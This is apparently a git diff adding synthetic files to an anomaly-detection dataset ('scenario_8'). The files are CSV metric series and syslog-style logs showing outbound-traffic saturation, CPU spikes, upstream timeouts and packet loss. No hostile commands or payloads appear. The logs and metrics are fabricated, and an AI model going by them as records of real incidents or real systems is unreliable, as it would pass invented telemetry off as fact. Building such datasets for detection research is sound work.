10:05:20 app[4567]: ERROR Outbound request failed: Connection refused +Jul 02 10:05:25 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 10:05:30 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 10:05:35 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream +Jul 02 10:05:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:05:45 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream +Jul 02 10:05:50 app[4567]: ERROR Failed to connect to external API api.partner.com: timeout +Jul 02 10:05:55 app[4567]: ERROR Failed to connect to external API api.partner.com: timeout +Jul 02 10:06:00 sshd[11662]: Accepted publickey for app-user from 10.0.1.5 port 55234 ssh2 +Jul 02 10:06:00 app[4567]: ERROR Outbound request failed: Connection refused +Jul 02 10:06:05 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream +Jul 02 10:06:15 app[4567]: ERROR Outbound request failed: Connection refused +Jul 02 10:06:20 systemd[1]: Started Session 3 of user app-user. +Jul 02 10:06:20 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 10:06:25 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 10:06:30 app[4567]: ERROR Outbound request failed: Connection refused +Jul 02 10:06:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:06:50 app[4567]: ERROR Outbound request failed: Connection refused +Jul 02 10:06:55 app[4567]: ERROR Outbound request failed: Connection refused +Jul 02 10:07:00 cron[10229]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:07:00 app[4567]: ERROR Failed to connect to external API api.partner.com: timeout +Jul 02 10:07:05 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 10:07:15 app[4567]: ERROR Failed to connect to external API api.partner.com: timeout +Jul 02 10:07:20 systemd[1]: Started Session 7 of user app-user. +Jul 02 10:07:20 app[4567]: ERROR Failed to connect to external API api.partner.com: timeout +Jul 02 10:07:25 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream diff --git a/anom_dataset/scenario_8/anom_8_29.csv b/anom_dataset/scenario_8/anom_8_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..c1bc835f3bd31b986d8cef05de2fb3312bbfd53b --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,19.58,42.05,19.49,1.35,9.59 +2025-08-26T14:00:05Z,17.53,42.86,21.96,1.25,11.75 +2025-08-26T14:00:10Z,17.84,44.56,32.45,0.8,13.03 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api-gateway[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Aug 26 14:00:15 api-gateway[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Aug 26 14:00:20 api-gateway[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Aug 26 14:00:25 api-gateway[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Aug 26 14:00:30 api-gateway[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Aug 26 14:00:35 api-gateway[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Aug 26 14:00:40 api-gateway[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Aug 26 14:00:45 api-gateway[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Aug 26 14:00:50 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:00:55 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:01:00 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:01:05 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:01:10 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:01:15 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:01:20 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:01:25 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:01:30 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:01:35 web-server[4567]: Connection from 192.168.1.10 accepted +Aug 26 14:01:40 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:01:45 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:01:50 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:01:55 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:02:00 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:02:05 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:02:10 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:02:15 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:02:20 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:02:25 database-replicator[8910]: a new transaction has been replicated successfully +Aug 26 14:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:02:35 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:02:40 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:02:45 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:02:50 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:02:55 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:03:05 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:03:10 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:03:15 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 26 14:03:20 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:03:25 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:03:30 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:03:35 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:03:40 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:03:45 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:03:50 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:03:55 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:04:00 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:04:05 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:04:10 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:04:15 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:04:20 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:04:25 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:04:30 api-gateway[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Aug 26 14:04:35 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:04:40 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:04:45 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:04:50 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:04:55 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:05:00 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:05:05 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:05:10 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:05:15 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:05:20 api-gateway[1123]: High latency detected for /api/v1/data/upload: 5000ms +Aug 26 14:05:25 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:05:30 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:05:35 api-gateway[1123]: High latency detected for /api/v1/data/upload: 5000ms +Aug 26 14:05:40 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:05:45 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:05:50 api-gateway[1123]: High latency detected for /api/v1/data/upload: 5000ms +Aug 26 14:05:55 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:06:00 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:06:05 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:06:10 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:06:15 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:06:20 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:06:25 api-gateway[1123]: High latency detected for /api/v1/data/upload: 5000ms +Aug 26 14:06:30 api-gateway[1123]: High latency detected for /api/v1/data/upload: 5000ms +Aug 26 14:06:35 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:06:40 api-gateway[1123]: High latency detected for /api/v1/data/upload: 5000ms +Aug 26 14:06:45 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:06:50 api-gateway[1123]: High latency detected for /api/v1/data/upload: 5000ms +Aug 26 14:06:55 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:07:00 api-gateway[1123]: High latency detected for /api/v1/data/upload: 5000ms +Aug 26 14:07:05 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:07:10 api-gateway[1123]: High latency detected for /api/v1/data/upload: 5000ms +Aug 26 14:07:15 api-gateway[1123]: upstream connect error or disconnect/reset before headers. reset reason: connection termination. details: upstream connection timeout +Aug 26 14:07:20 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting +Aug 26 14:07:25 web-server[4567]: WARNING: Packet loss detected for connection from 192.168.1.20, retransmitting diff --git a/anom_dataset/scenario_8/anom_8_3.csv b/anom_dataset/scenario_8/anom_8_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..d48706d927a0a7ac953d6f834bab21cc77bb5add --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T08:00:00Z,16.36,41.47,24.68,1.09,0.79 +2025-07-16T08:00:05Z,14.82,40.68,24.38,0.89,1.03 +2025-07-16T08:00:10Z,14.17,41.62,26.19,0.73,0.72 +2025-07-16T08:00:15Z,17.65,38.74,28.35,0.97,0.5 +2025-07-16T08:00:20Z,15.22,40.14,25.16,1.18,1.36 +2025-07-16T08:00:25Z,17.88,37.86,26.91,1.17,0.99 +2025-07-16T08:00:30Z,14.65,39.19,24.58,0.91,1.26 +2025-07-16T08:00:35Z,14.72,37.39,26.27,0.89,0.51 +2025-07-16T08:00:40Z,16.84,42.95,24.86,0.8,0.73 +2025-07-16T08:00:45Z,14.88,39.19,26.51,1.04,0.83 +2025-07-16T08:00:50Z,13.04,43.69,24.01,1.1,1.22 +2025-07-16T08:00:55Z,11.98,37.39,27.22,0.9,0.78 +2025-07-16T08:01:00Z,11.16,41.64,19.95,0.96,1.04 +2025-07-16T08:01:05Z,14.51,39.84,24.06,0.97,1.45 +2025-07-16T08:01:10Z,13.03,40.46,20.94,1.05,0.94 +2025-07-16T08:01:15Z,16.85,39.43,28.04,1.0,1.07 +2025-07-16T08:01:20Z,17.33,42.67,27.35,0.87,0.58 +2025-07-16T08:01:25Z,14.19,36.78,25.16,0.94,1.26 +2025-07-16T08:01:30Z,14.31,39.76,22.71,1.12,1.16 +2025-07-16T08:01:35Z,14.05,39.72,27.1,0.93,0.85 +2025-07-16T08:01:40Z,13.98,38.52,23.4,0.93,1.45 +2025-07-16T08:01:45Z,13.21,41.59,23.39,1.25,0.66 +2025-07-16T08:01:50Z,15.28,37.33,21.29,0.94,0.5 +2025-07-16T08:01:55Z,12.87,39.79,22.01,0.98,0.64 +2025-07-16T08:02:00Z,17.79,41.92,24.42,1.11,1.39 +2025-07-16T08:02:05Z,15.99,40.98,22.89,0.71,1.04 +2025-07-16T08:02:10Z,15.98,39.85,15.96,0.99,0.92 +2025-07-16T08:02:15Z,13.5,44.1,31.77,1.11,0.61 +2025-07-16T08:02:20Z,18.21,39.6,27.43,0.51,1.25 +2025-07-16T08:02:25Z,13.9,41.06,22.72,0.73,0.75 +2025-07-16T08:02:30Z,12.74,39.54,27.58,0.97,1.27 +2025-07-16T08:02:35Z,13.37,38.6,21.85,1.29,0.63 +2025-07-16T08:02:40Z,17.09,38.59,23.76,1.0,1.3 +2025-07-16T08:02:45Z,14.65,38.7,22.43,0.93,1.03 +2025-07-16T08:02:50Z,14.6,39.27,21.67,0.8,0.95 +2025-07-16T08:02:55Z,17.55,41.5,24.97,1.1,2.58 +2025-07-16T08:03:00Z,15.78,39.55,26.35,1.08,13.61 +2025-07-16T08:03:05Z,13.55,39.21,22.2,1.43,25.38 +2025-07-16T08:03:10Z,13.78,40.19,28.75,1.05,37.48 +2025-07-16T08:03:15Z,17.39,40.0,22.71,0.56,48.38 +2025-07-16T08:03:20Z,15.23,40.84,25.69,0.85,60.19 +2025-07-16T08:03:25Z,16.15,38.3,25.62,1.03,72.43 +2025-07-16T08:03:30Z,14.96,41.27,21.61,1.01,82.28 +2025-07-16T08:03:35Z,17.01,39.63,26.48,0.86,95.62 +2025-07-16T08:03:40Z,11.8,40.49,26.02,1.05,105.89 +2025-07-16T08:03:45Z,17.86,41.09,22.41,0.87,119.06 +2025-07-16T08:03:50Z,15.46,38.42,28.05,1.42,131.11 +2025-07-16T08:03:55Z,19.08,41.73,24.94,0.79,142.13 +2025-07-16T08:04:00Z,15.52,39.47,20.62,1.18,153.93 +2025-07-16T08:04:05Z,14.87,39.3,27.14,1.08,165.15 +2025-07-16T08:04:10Z,12.85,38.55,19.99,0.97,176.63 +2025-07-16T08:04:15Z,14.09,37.1,23.64,1.24,189.11 +2025-07-16T08:04:20Z,81.63,42.34,26.73,1.05,200.14 +2025-07-16T08:04:25Z,81.76,39.89,20.46,1.11,211.27 +2025-07-16T08:04:30Z,82.41,40.49,28.33,0.97,223.27 +2025-07-16T08:04:35Z,89.78,38.98,23.01,0.79,234.72 +2025-07-16T08:04:40Z,84.7,41.03,22.33,0.62,246.7 +2025-07-16T08:04:45Z,89.53,42.65,22.07,0.71,246.36 +2025-07-16T08:04:50Z,75.99,41.3,23.84,1.09,243.56 +2025-07-16T08:04:55Z,81.58,41.71,22.07,1.35,245.8 +2025-07-16T08:05:00Z,75.42,40.69,25.12,1.09,244.79 +2025-07-16T08:05:05Z,86.36,40.18,22.76,0.86,246.7 +2025-07-16T08:05:10Z,85.42,40.07,27.04,0.91,246.7 +2025-07-16T08:05:15Z,83.47,39.25,24.82,1.25,246.17 +2025-07-16T08:05:20Z,83.78,38.42,25.38,0.86,246.25 +2025-07-16T08:05:25Z,83.79,39.81,26.9,0.85,245.23 +2025-07-16T08:05:30Z,91.25,40.63,25.72,0.96,246.7 +2025-07-16T08:05:35Z,77.27,41.35,26.02,0.56,246.65 +2025-07-16T08:05:40Z,84.28,38.8,24.19,1.01,246.7 +2025-07-16T08:05:45Z,81.25,37.75,25.19,0.97,246.58 +2025-07-16T08:05:50Z,81.5,38.83,28.7,1.0,246.58 +2025-07-16T08:05:55Z,82.56,41.25,26.01,1.1,245.98 +2025-07-16T08:06:00Z,12.5,37.13,31.37,0.78,245.96 +2025-07-16T08:06:05Z,14.11,40.81,21.23,0.98,246.7 +2025-07-16T08:06:10Z,15.16,39.83,22.65,0.85,246.7 +2025-07-16T08:06:15Z,15.99,37.5,27.99,1.24,246.7 +2025-07-16T08:06:20Z,12.95,41.2,21.63,1.42,245.84 +2025-07-16T08:06:25Z,18.15,36.5,27.71,0.5,246.7 +2025-07-16T08:06:30Z,17.47,40.03,30.01,1.04,246.7 +2025-07-16T08:06:35Z,17.85,41.09,25.28,0.58,246.7 +2025-07-16T08:06:40Z,11.11,39.67,29.01,0.95,245.14 +2025-07-16T08:06:45Z,7.94,40.0,21.97,1.09,244.61 +2025-07-16T08:06:50Z,16.2,40.05,24.56,0.9,245.64 +2025-07-16T08:06:55Z,19.31,40.87,25.09,0.81,243.68 +2025-07-16T08:07:00Z,13.84,38.4,23.91,1.02,246.34 +2025-07-16T08:07:05Z,12.98,37.46,25.66,1.04,246.7 +2025-07-16T08:07:10Z,11.51,40.0,26.73,0.58,246.7 +2025-07-16T08:07:15Z,16.68,41.26,21.75,1.32,246.7 +2025-07-16T08:07:20Z,13.59,41.64,23.86,1.34,246.48 +2025-07-16T08:07:25Z,14.55,39.22,24.46,1.4,246.7 diff --git a/anom_dataset/scenario_8/anom_8_3.log b/anom_dataset/scenario_8/anom_8_3.log new file mode 100644 index 0000000000000000000000000000000000000000..c29d703e7c59a8b15fc6b43cdd01109068ee5095 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_3.log @@ -0,0 +1,55 @@ +Jul 16 08:00:00 cron[4000]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 08:00:05 web-app[1546]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 08:00:10 systemd[1]: Started Session 402 of user ubuntu. +Jul 16 08:01:00 systemd[1]: Started Session 412 of user ubuntu. +Jul 16 08:01:05 web-app[1546]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 08:01:15 cron[4015]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 08:01:50 systemd[1]: Started Session 422 of user ubuntu. +Jul 16 08:02:05 web-app[1546]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 08:02:30 cron[4030]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 08:02:40 systemd[1]: Started Session 432 of user ubuntu. +Jul 16 08:03:05 web-app[1546]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 08:03:30 systemd[1]: Started Session 442 of user ubuntu. +Jul 16 08:03:45 cron[4045]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 08:04:05 web-app[1546]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 08:04:20 systemd[1]: Started Session 452 of user ubuntu. +Jul 16 08:04:50 haproxy[885]: Timeout during data transfer for client 10.3.2.3, session state L7OK +Jul 16 08:04:55 web-app[1546]: ERROR Failed to send data chunk to client: socket write error +Jul 16 08:05:00 cron[4060]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 08:05:00 web-app[1546]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 08:05:05 web-app[1546]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 08:05:05 web-app[1546]: WARN High latency detected: response time 3306ms for /api/v1/data +Jul 16 08:05:10 systemd[1]: Started Session 462 of user ubuntu. +Jul 16 08:05:10 haproxy[885]: Timeout during data transfer for client 10.3.2.3, session state L7OK +Jul 16 08:05:15 web-app[1546]: ERROR Failed to send data chunk to client: socket write error +Jul 16 08:05:20 web-app[1546]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 08:05:25 web-app[1546]: WARN High latency detected: response time 3584ms for /api/v1/data +Jul 16 08:05:30 haproxy[885]: Timeout during data transfer for client 10.3.2.3, session state L7OK +Jul 16 08:05:35 web-app[1546]: ERROR Failed to send data chunk to client: socket write error +Jul 16 08:05:40 web-app[1546]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 08:05:45 web-app[1546]: WARN High latency detected: response time 4264ms for /api/v1/data +Jul 16 08:05:50 haproxy[885]: Timeout during data transfer for client 10.3.2.3, session state L7OK +Jul 16 08:05:55 web-app[1546]: ERROR Failed to send data chunk to client: socket write error +Jul 16 08:06:00 systemd[1]: Started Session 472 of user ubuntu. +Jul 16 08:06:00 web-app[1546]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 08:06:05 web-app[1546]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 08:06:05 web-app[1546]: WARN High latency detected: response time 2762ms for /api/v1/data +Jul 16 08:06:10 haproxy[885]: Timeout during data transfer for client 10.3.2.3, session state L7OK +Jul 16 08:06:15 cron[4075]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 08:06:15 web-app[1546]: ERROR Failed to send data chunk to client: socket write error +Jul 16 08:06:20 web-app[1546]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 08:06:25 web-app[1546]: WARN High latency detected: response time 2258ms for /api/v1/data +Jul 16 08:06:30 haproxy[885]: Timeout during data transfer for client 10.3.2.3, session state L7OK +Jul 16 08:06:35 web-app[1546]: ERROR Failed to send data chunk to client: socket write error +Jul 16 08:06:40 web-app[1546]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 08:06:45 web-app[1546]: WARN High latency detected: response time 4854ms for /api/v1/data +Jul 16 08:06:50 systemd[1]: Started Session 482 of user ubuntu. +Jul 16 08:06:50 haproxy[885]: Timeout during data transfer for client 10.3.2.3, session state L7OK +Jul 16 08:06:55 web-app[1546]: ERROR Failed to send data chunk to client: socket write error +Jul 16 08:07:00 web-app[1546]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 08:07:05 web-app[1546]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 08:07:05 web-app[1546]: WARN High latency detected: response time 4752ms for /api/v1/data +Jul 16 08:07:10 haproxy[885]: Timeout during data transfer for client 10.3.2.3, session state L7OK +Jul 16 08:07:15 web-app[1546]: ERROR Failed to send data chunk to client: socket write error +Jul 16 08:07:20 web-app[1546]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 08:07:25 web-app[1546]: WARN High latency detected: response time 4088ms for /api/v1/data diff --git a/anom_dataset/scenario_8/anom_8_30.csv b/anom_dataset/scenario_8/anom_8_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..4aa1c5cc7934c1e3fb715ec68b4ad9414fc5ab51 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,18.42,39.63,20.74,0.68,0.76 +2025-07-02T10:00:05Z,14.15,39.53,20.29,0.5,0.88 +2025-07-02T10:00:10Z,19.13,35.0,27.68,1.0,0.89 +2025-07-02T10:00:15Z,17.0,37.78,28.93,0.71,0.95 +2025-07-02T10:00:20Z,16.39,40.3,28.99,0.82,0.81 +2025-07-02T10:00:25Z,15.65,40.69,29.0,1.08,0.66 +2025-07-02T10:00:30Z,18.37,42.65,35.0,0.71,1.42 +2025-07-02T10:00:35Z,10.0,41.76,22.96,1.0,1.05 +2025-07-02T10:00:40Z,13.68,42.25,30.5,0.82,0.64 +2025-07-02T10:00:45Z,13.47,40.35,26.3,0.84,1.24 +2025-07-02T10:00:50Z,15.46,44.06,23.59,0.95,1.04 +2025-07-02T10:00:55Z,12.05,40.3,19.79,0.92,0.5 +2025-07-02T10:01:00Z,17.86,42.4,33.11,0.67,1.34 +2025-07-02T10:01:05Z,18.01,39.61,25.03,0.68,1.39 +2025-07-02T10:01:10Z,10.0,39.81,29.42,0.68,1.41 +2025-07-02T10:01:15Z,18.71,39.03,26.48,0.94,0.93 +2025-07-02T10:01:20Z,19.7,38.47,35.0,0.93,1.17 +2025-07-02T10:01:25Z,15.37,40.76,33.71,0.5,1.44 +2025-07-02T10:01:30Z,15.32,40.03,15.07,0.65,1.11 +2025-07-02T10:01:35Z,19.01,38.73,26.85,1.0,1.2 +2025-07-02T10:01:40Z,17.05,41.08,25.98,0.54,0.83 +2025-07-02T10:01:45Z,12.11,38.5,30.81,0.87,0.71 +2025-07-02T10:01:50Z,16.51,41.16,24.58,0.73,0.84 +2025-07-02T10:01:55Z,17.83,41.56,20.93,0.97,1.37 +2025-07-02T10:02:00Z,16.14,43.86,24.45,0.8,1.09 +2025-07-02T10:02:05Z,11.89,42.46,24.16,0.97,0.5 +2025-07-02T10:02:10Z,12.26,39.48,15.0,0.86,0.75 +2025-07-02T10:02:15Z,14.49,39.15,24.05,0.96,1.13 +2025-07-02T10:02:20Z,11.82,43.85,23.17,0.69,1.26 +2025-07-02T10:02:25Z,13.75,37.4,15.0,0.58,1.2 +2025-07-02T10:02:30Z,10.0,39.0,27.09,1.02,1.33 +2025-07-02T10:02:35Z,11.18,42.67,29.27,1.08,5.19 +2025-07-02T10:02:40Z,18.5,38.37,25.67,0.94,10.86 +2025-07-02T10:02:45Z,15.67,41.67,17.51,0.6,13.61 +2025-07-02T10:02:50Z,14.4,41.37,33.61,0.52,15.12 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+2025-07-02T10:04:30Z,49.8,41.46,21.33,0.83,97.93 +2025-07-02T10:04:35Z,49.74,38.89,19.52,0.75,106.04 +2025-07-02T10:04:40Z,53.08,38.39,31.59,0.95,108.83 +2025-07-02T10:04:45Z,52.5,37.38,28.6,1.2,111.06 +2025-07-02T10:04:50Z,50.35,38.23,18.33,0.56,116.53 +2025-07-02T10:04:55Z,46.65,36.35,33.4,0.5,120.0 +2025-07-02T10:05:00Z,94.14,43.35,25.37,0.81,120.0 +2025-07-02T10:05:05Z,96.16,38.17,29.32,0.85,118.8 +2025-07-02T10:05:10Z,94.57,40.31,29.11,0.85,120.0 +2025-07-02T10:05:15Z,91.05,41.59,22.68,0.68,116.86 +2025-07-02T10:05:20Z,93.56,40.02,26.81,0.76,120.0 +2025-07-02T10:05:25Z,93.39,37.76,19.19,0.73,119.48 +2025-07-02T10:05:30Z,96.19,41.21,24.07,0.69,120.0 +2025-07-02T10:05:35Z,97.27,41.44,25.17,0.84,120.0 +2025-07-02T10:05:40Z,93.66,38.77,28.15,0.95,120.0 +2025-07-02T10:05:45Z,94.06,40.69,32.34,0.84,117.36 +2025-07-02T10:05:50Z,97.37,39.47,33.2,0.71,119.7 +2025-07-02T10:05:55Z,93.43,40.08,27.41,0.5,120.0 +2025-07-02T10:06:00Z,94.56,39.56,31.18,0.95,120.0 +2025-07-02T10:06:05Z,93.29,40.83,21.17,0.68,120.0 +2025-07-02T10:06:10Z,96.37,39.32,22.32,0.91,119.65 +2025-07-02T10:06:15Z,92.88,38.68,18.91,0.5,120.0 +2025-07-02T10:06:20Z,95.46,41.9,33.44,0.92,120.0 +2025-07-02T10:06:25Z,95.95,40.31,26.5,0.71,120.0 +2025-07-02T10:06:30Z,99.33,40.7,33.35,1.06,120.0 +2025-07-02T10:06:35Z,94.96,39.82,32.48,0.86,119.53 +2025-07-02T10:06:40Z,93.9,41.28,23.53,0.5,120.0 +2025-07-02T10:06:45Z,96.16,38.07,22.32,0.57,120.0 +2025-07-02T10:06:50Z,97.75,40.49,27.78,0.89,120.0 +2025-07-02T10:06:55Z,96.05,42.87,26.44,1.08,119.01 +2025-07-02T10:07:00Z,98.84,43.55,20.48,0.99,120.0 +2025-07-02T10:07:05Z,97.52,45.0,22.19,1.21,120.0 +2025-07-02T10:07:10Z,92.36,38.4,20.68,0.86,119.18 +2025-07-02T10:07:15Z,93.16,39.45,32.94,0.91,120.0 +2025-07-02T10:07:20Z,94.85,41.87,29.85,0.85,120.0 +2025-07-02T10:07:25Z,93.7,40.67,20.15,0.81,119.56 diff --git a/anom_dataset/scenario_8/anom_8_30.log b/anom_dataset/scenario_8/anom_8_30.log new file mode 100644 index 0000000000000000000000000000000000000000..aef88e72e94681046a5c0d4ac76bec276b3c05cf --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_30.log @@ -0,0 +1,41 @@ +Jul 02 10:00:05 cron[12628]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:10 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:00:20 sshd[17287]: Accepted publickey for ubuntu from 192.168.1.101 port 50152 ssh2 +Jul 02 10:00:50 systemd[1]: Started Session 52 of user ubuntu. +Jul 02 10:01:05 systemd[1]: Started Session 91 of user ubuntu. +Jul 02 10:01:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:30 sshd[13751]: Accepted publickey for ubuntu from 192.168.1.101 port 50498 ssh2 +Jul 02 10:02:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:55 systemd[1]: Started Session 47 of user ubuntu. +Jul 02 10:03:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:03:05 sshd[12966]: Accepted publickey for ubuntu from 192.168.1.101 port 41495 ssh2 +Jul 02 10:03:20 sshd[10293]: Accepted publickey for ubuntu from 192.168.1.101 port 53039 ssh2 +Jul 02 10:03:45 sshd[19744]: Accepted publickey for ubuntu from 192.168.1.101 port 43509 ssh2 +Jul 02 10:03:50 sshd[16106]: Accepted publickey for ubuntu from 192.168.1.101 port 41644 ssh2 +Jul 02 10:04:10 cron[18149]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:04:15 systemd[1]: Started Session 92 of user ubuntu. +Jul 02 